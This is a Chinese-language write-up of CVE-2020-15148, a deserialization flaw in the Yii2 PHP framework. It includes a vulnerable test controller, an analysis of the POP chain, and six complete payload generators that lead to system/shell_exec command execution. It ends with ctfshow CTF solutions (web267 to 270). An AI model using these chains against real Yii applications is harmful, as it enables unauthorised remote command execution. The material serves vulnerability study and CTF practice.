yii反序列化漏洞
Yii框架
Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。
Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。
Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。
Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)
漏洞描述
Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。
2.0.38已修复,官方给yii\db\BatchQueryResult
类加了一个__wakeup()
函数,__wakeup
方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞。
环境复现
本地使用phpstudy进行环境搭建
一定要选到YII安装目录的web目录,端口号重置下。配置好以后 就可以访问了
修改config\web.php
中的cookieValidationKey
为任意值,作为yii\web\Request::cookieValidationKey
的加密值,不设置会报错
由于是反序列化利用链,我们需要一个入口点,在controllers目录下创建一个Controller:
action为:http://url/index.php?r=test/test
controllers/TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($data){
return unserialize(base64_decode($data));
}
}
漏洞分析
漏洞的出发点是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php
文件中
/**
* Destructor.
*/
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
/**
* Resets the batch query.
* This method will clean up the existing batch query so that a new batch query can be performed.
*/
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
正常来说跟进close()
方法,但没有找到利用点。但是这里_dataReader
是可控的,可以通过触发__call
方法来进行利用。
__call(),在对象中调用一个不可访问方法时调用
当一个对象调用不可访问的close
方法或者类中没有close
方法,即可触发__call
。全局搜索一下__call方法,在\vendor\fzaninotto\faker\src\Faker\Generator.php
存在合适的方法
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
继续跟进format方法
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
call_user_func_array
:调用回调函数,并把一个数组参数作为回调函数的参数
使用方法:
call_user_func_array(callable $callback, array $param_arr): mixed
callback
被调用的回调函数。
param_arr
要被传入回调函数的数组,这个数组得是索引数组。
示例:
<?php
namespace Foobar;
class Foo {
static public function test($name) {
print "Hello {$name}!\n";
}
}
// As of PHP 5.3.0
call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));
// As of PHP 5.3.0
call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));
?>
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
因为$this->formatters
是可控的,因此getFormatter方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments);
中,第一个参数可控,第二个参数为空。
这一步就需要一个执行类,这时需要类中的方法需要满足两个条件
- 方法所需的参数只能是其自己类中存在的(即参数:
$this->args
) - 方法需要有命令执行功能
查找调用了call_user_func
函数的无参方法。
call_user_func
:把第一个参数作为回调函数调用,这里用call_user_func
即可达到命令执行的效果也可以达到RCE
的效果
构造正则
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
其中有两个类中的run
方法可用:
yii\rest\CreateAction::run()
,$this->checkAccess, $this->id
两个参数可控
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
......
return $model;
}
\yii\rest\IndexAction::run()
,$this->checkAccess, $this->id
两个参数可控
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
由此可以构造pop链
yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Faker\Generator::__call()->format()->call_user_func_array()
↓↓↓
\yii\rest\IndexAction::run->call_user_func()
poc1
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
其他链子(之后复现)
yii 2.2.37
poc2
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
yii 2.0.38
poc3
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
poc4
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
yii 2.0.42
poc5
<?php
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));
poc6
<?php
namespace yii\rest
{
class IndexAction{
function __construct()
{
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Symfony\Component\String
{
use yii\rest\IndexAction;
class LazyString
{
function __construct()
{
$this->value = [new indexAction(), "run"];
}
}
class UnicodeString
{
function __construct()
{
$this->value = new LazyString();
}
}
}
namespace Faker
{
use Symfony\Component\String\LazyString;
class DefaultGenerator
{
function __construct()
{
$this->default = new LazyString();
}
}
class UniqueGenerator
{
function __construct()
{
$this->generator = new DefaultGenerator();
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension
{
use Faker\UniqueGenerator;
class RunProcess
{
function __construct()
{
$this->processes[] = new UniqueGenerator();
}
}
}
namespace
{
use Codeception\Extension\RunProcess;
$exp = new RunProcess();
echo(base64_encode(serialize($exp)));
}
实战(ctfshow)
web267
首先弱密码admin/admin
登录
在about界面查看源码,有<!--?view-source -->
提示
尝试访问:index.php?r=site%2Fabout&view-source
,路由介绍:yii路由
发现一个反序列化入口点:
poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec'; //PHP函数
$this->id = 'cp /fl* 1.txt'; //PHP函数的参数
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
之后再访问1.txt即可
直接cat flag的话会出现An internal server error occurred.
应该是设置了非调试模式的生产环境运行方式
web268
poc
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /f* 1.txt';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
web269,270
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //命令执行
echo(base64_encode(serialize($exp)));
}
参考链接:
https://www.extrader.top/posts/c79847ee/
https://www.yiichina.com/doc/guide/2.0/intro-yii
https://tari.moe/2021/04/06/ctfshow-unserialize/